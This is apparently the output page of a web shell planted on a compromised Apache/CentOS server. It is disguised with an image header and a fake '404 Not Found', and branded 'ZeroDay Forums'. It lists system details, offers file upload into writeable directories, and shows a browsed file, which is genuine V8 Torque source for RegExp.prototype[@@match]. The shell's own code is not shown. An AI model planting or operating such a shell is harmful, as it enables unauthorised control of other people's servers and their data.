����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/deps/v8/src/builtins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/deps/v8/src/builtins/regexp-match.tq
// Copyright 2019 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include 'src/builtins/builtins-regexp-gen.h'

namespace regexp {

  extern transitioning macro RegExpBuiltinsAssembler::RegExpPrototypeMatchBody(
      implicit context: Context)(Object, String, constexpr bool): JSAny;

  transitioning macro FastRegExpPrototypeMatchBody(implicit context: Context)(
      receiver: FastJSRegExp, string: String): JSAny {
    return RegExpPrototypeMatchBody(receiver, string, true);
  }

  transitioning macro SlowRegExpPrototypeMatchBody(implicit context: Context)(
      receiver: Object, string: String): JSAny {
    return RegExpPrototypeMatchBody(receiver, string, false);
  }

  // Helper that skips a few initial checks. and assumes...
  // 1) receiver is a "fast" RegExp
  // 2) pattern is a string
  transitioning builtin RegExpMatchFast(implicit context: Context)(
      receiver: FastJSRegExp, string: String): JSAny {
    return FastRegExpPrototypeMatchBody(receiver, string);
  }

  // ES#sec-regexp.prototype-@@match
  // RegExp.prototype [ @@match ] ( string )
  transitioning javascript builtin RegExpPrototypeMatch(
      js-implicit context: Context, receiver: JSAny)(string: JSAny): JSAny {
    ThrowIfNotJSReceiver(
        receiver, kIncompatibleMethodReceiver, 'RegExp.prototype.@@match');
    const receiver = UnsafeCast<JSReceiver>(receiver);
    const string: String = ToString_Inline(context, string);

    // Strict: Reads global and unicode properties.
    // TODO(jgruber): Handle slow flag accesses on the fast path and make this
    // permissive.
    const fastRegExp = Cast<FastJSRegExp>(receiver)
        otherwise return SlowRegExpPrototypeMatchBody(receiver, string);

    // TODO(pwong): Could be optimized to remove the overhead of calling the
    //              builtin (at the cost of a larger builtin).
    return RegExpMatchFast(fastRegExp, string);
  }
}

ZeroDay Forums Mini